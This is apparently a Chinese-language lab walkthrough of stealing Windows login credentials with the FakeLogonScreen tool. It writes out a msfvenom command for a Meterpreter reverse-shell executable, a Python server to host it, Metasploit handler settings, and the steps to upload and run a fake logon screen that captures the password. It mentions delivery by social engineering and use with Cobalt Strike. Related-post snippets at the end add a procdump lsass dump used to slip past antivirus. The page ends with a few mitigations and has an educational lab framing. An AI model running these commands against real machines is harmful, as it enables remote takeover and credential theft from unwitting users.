FakeLogonScreen抓取Windows凭证

实践中使用的配置

攻击者:

操作系统: Kali Linux 2020.1

IP: 192.168.1.13

目标:

作业系统: Windows 10(Build 18363)

IP: 192.168.1.11

情境

有一个系统与攻击者连接到相同的网络,并且攻击者正在寻找目标系统的凭据。目标已经拥有的信息是IP地址和OS系统的知识。这种信息很容易获得。

有效载荷创建

现在,我开始使用msfvenom工具根据目标系统的OS来制作有效负载。我以LHOST的身份提供了Kali的IP地址。当目标计算机运行Windows时,我将有效负载设置为可以轻松执行的可执行文件。制作有效负载之后,我运行了Python One-liner以创建一个HTTP服务器,该服务器将在目标计算机的端口80上托管有效负载。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.233.128 lport=4444 -f exe >> payload.exepython -m SimpleHTTPServer 80

现在,在现实生活中,攻击者将使用某种社会工程攻击来操纵目标用户,以将恶意负载下载到他们的系统上。这可以在进行实际攻击之前很长时间完成。

起始侦听器

由于我们已经准备好并托管了有效负载。现在我们需要启动一个侦听器,在该侦听器中,我们将从有效负载中接收会话。设置正确的配置后,我直接进入目标计算机并执行了有效负载。同样,这是一个实验室环境演示。实际情况会有所不同。

上载FakeLogonScreen可执行文件

在获得Meterpreter会话之后,我们将FakeLogonScreen.exe上载到目标系统。可以在克隆的目录中找到此可执行文件。成功上传后,我们使用shell命令进入目标计算机的命令行。现在,如给定的图像所示,运行可执行文件。

use multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.233.128set lport 4444runupload FakeLogonScreen.exeshellFakeLogonScreen.exe

在目标端输入凭证

一旦通过外壳运行了可执行文件,目标系统上的所有当前窗口就会最小化,并弹出登录屏幕,如给定的图像所示。这似乎是一个非常真实的登录屏幕。目标用户假定必须有意外注销。因此,为了承担他/她的工作,目标用户在不知不觉中输入了凭据。

现在,为了证明已检查密码,我们首先输入了错误的凭据。登录屏幕返回错误“密码不正确。再试一次”。这证明目标用户必须输入有效的凭据才能通过。

接下来,我们输入了有效的凭据,然后看到所有最小化的窗口都恢复了原来的状态。

拿取凭证

让我们回到攻击者机器上,看看我们是否能够获取这些密码。如下图所示,我们看到FakeLogonScreen侦听器的工作方式类似于按键记录器。我们首先在密码字段中输入“密码错误”,以检查错误的情况。然后,我们输入正确的密码“ 123”,并成功获取了目标用户的密码。

附加信息

我们先前下载的zip文件中还有另一个可执行文件。它被命名为“ FakeLogonScreenToFile.exe”。该文件的工作方式类似,但是除了显示密码外,还将密码存储在以下位置:

%LOCALAPPDATA%\ Microsoft \ user.db

该工具也可以在Windows 7上使用。尽管已经达到其终止寿命,但仍有大量系统在生产环境中运行Windows 7。如果需要,可以在“ DOTNET35”目录中找到它。

您还可以集成此工具以与Cobalt Strike一起使用。在这里查看

缓解措施

  • 验证下载源。
  • 监视AppData目录中的user.db文件。
  • 正确检查登录屏幕中的所有链接。
  • 实施较短的密码更改策略。

FakeLogonScreen抓取Windows凭证的更多相关文章

  1. mimikatz2.0抓取WINDOWS密码

    看吾爱的,刚好问同事说这个也用过,以后内网渗透的话比较方便 http://www.52pojie.cn/thread-264895-1-1.html ========================= ...

  2. 抓取windows系统进程

    最近在开发辅流分享界面,然后之前的windows编程的代码都忘记了,翻到了一个博客,具体的还是去msdn去查函数,这个是入门的链接如下: http://blog.csdn.net/zdragon200 ...

  3. 从网页上抓取Windows补丁信息然后整型输出(Python)

    Powershell实现:http://www.cnblogs.com/IvanChen/p/4488246.html 今天通过Python实现: # coding=utf-8 import re i ...

  4. 绕过杀毒软件抓取windows密码

    使用procdump,由于是微软的东西,带微软签名杀软不会报毒. procdump -accepteula -ma lsass.exe lsass.dmp copy出 lsass.dmp到本机. mi ...

  5. 从网页上抓取Windows补丁信息然后整型输出(PowerShell)

    $report = [pscustomobject]@{'Date' = $null; 'MSRC' = $null; 'KB' = $null; 'Severity' = $null; 'Versi ...

  6. windows密码抓取工具-mimikatz

    前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...

  7. 【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志

    问题描述 在App Service For Windows的环境中,我们可以通过ArmClient 工具发送POST请求在Web应用的实例中抓取网络日志,但是在App Service For Linu ...

  8. windows中抓取hash小结(上)

    我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...

  9. Windows Phone & Windows App应用程序崩溃crash信息抓取方法

    最近有用户反馈,应用有崩溃的情况,可是本地调试却无法重现问题,理所当然的,我想到了微软的开发者仪表盘,可以查看一段时间内的carsh记录,不过仪表盘生成carsh记录不是实时的,而且生成的报告查看非常 ...

随机推荐

  1. 【UWP】使用 LiteDB 存储数据

    序言: 在 UWP 中,常见的存储数据方式基本上就两种.第一种方案是 UWP 框架提供的 ApplicationData Settings 这一系列的方法,适用于存放比较轻量的数据,例如存个 Bool ...

  2. Mysql.linux登录数据库

    //mysql -hlocalhost -uroot -p //-h数据库地址 -u用户名 -p密码 -P端口号(P大写)//-p可省略,会提示输入密码. mysql -h127. -uroot -p ...

  3. java jdk9的特性 jshell

    1.进入 jshell 2.推出 /exit() 和python的解释器用法差不多

  4. matplotlib 折线图

    1.基本要点 # 导入模块 from matplotlib import pyplot as plt # x轴数据 x = range(2, 26, 2) # y轴数据 y = [15, 13, 14 ...

  5. redis 数据类型之字典

    1.hset hset(name, key, value) # 参数:     # name,redis的name     # key,name对应的hash中的key     # value,nam ...

  6. (分块)楼房重建 HYSBZ - 2957

    题意 长度为n的坐标轴上,从1-n上的每一点都有一栋楼房,楼房的初识高度都为0,每一天都有一栋楼房的高度被修改(也可以不变),一栋楼房能被看见当且仅当其最高点与远点的连线不会与其他之前连线相交,问你每 ...

  7. 关于SpringDataJpa中测试出现StackOverflowError错误问题

    在使用SpringDataJpa进行多表查询时,使用导航查询,每次都出现 StackOverflowError错误, 经过查找资料,网上百度,终于找到原因, StackOverflowError 是栈 ...

  8. Elastcisearch.Nest 7.x 系列`伪`官方翻译:通过 NEST 来快捷试用 Elasticsearch

    本系列已经已经全部完成,完整版可见:https://blog.zhuliang.ltd/categories/Elasticsearch/ 本系列博文是"伪"官方文档翻译(更加本土 ...

  9. python算法学习总结

    数据结构一维: 基础:数组array(string),链表Linked List 高级:栈stack,队列queue,双端队列deque,集合set,映射map(hash or map), etc二维 ...

  10. BZOJ 2648 世界树

    题目传送门 分析: 喜 闻 乐 见 的虚树 但是建好虚树后的DP也非常的恶心 我们先考虑每个关键点的归哪个点管 先DFS一次计算儿子节点归属父亲 再DFS一次计算父亲节点归属儿子 然后然后我们对于虚树 ...